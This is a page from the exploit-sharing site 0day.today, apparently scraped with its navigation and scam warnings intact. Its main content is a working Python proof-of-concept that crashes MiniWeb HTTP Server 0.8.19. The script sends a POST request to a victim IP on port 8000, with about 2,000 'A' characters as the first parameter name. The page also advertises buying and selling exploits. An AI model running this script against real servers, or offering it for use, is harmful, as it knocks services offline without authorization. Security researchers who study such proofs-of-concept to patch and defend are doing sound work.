0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MiniWeb HTTP Server 0.8.19 - Buffer Overflow Exploit
# Exploit Title: MiniWeb HTTP Server 0.8.19 - Buffer Overflow (PoC) # Vendor Homepage: https://sourceforge.net/projects/miniweb/ # Software Link: https://sourceforge.net/projects/miniweb/files/miniweb/0.8/miniweb-win32-20130309.zip/download # Version: 0.8.19 # Tested on: Win7 x86 # Researchers: Security For Everyone Team - https://securityforeveryone.com ''' Description MiniWeb HTTP server 0.8.19 allows remote attackers to cause a denial of service (daemon crash) via a long name for the first parameter in a POST request. Exploitation The vulnerability is the first parameter's name of the POST request. Example: PARAM_NAME1=param_data1¶m_name2=param_data2 if we send a lot of "A" characters to "PARAM_NAME1", the miniweb server will crash. About Security For Everyone Team We are a team that has been working on cyber security in the industry for a long time. In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities. We have many free tools that you can use here: https://securityforeveryone.com/free-tool-list ''' #!/usr/bin/python import socket import sys import struct if len(sys.argv) != 2 : print "[+] Usage : python exploit.py [VICTIM_IP]" exit(0) TCP_IP = sys.argv[1] TCP_PORT = 8000 xx = "A"*2038 #4085 http_req = "POST /index.html HTTP/1.1\r\n" http_req += "Host: 192.168.231.140\r\n" http_req += "From: header-data\r\n" http_req += "Content-Type: application/x-www-form-urlencoded\r\n\r\n" http_req += xx + "=param_data1¶m_name2=param_data2" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) print "[+] Sending exploit payload..." s.send(http_req) s.close() # 0day.today [2024-07-05] #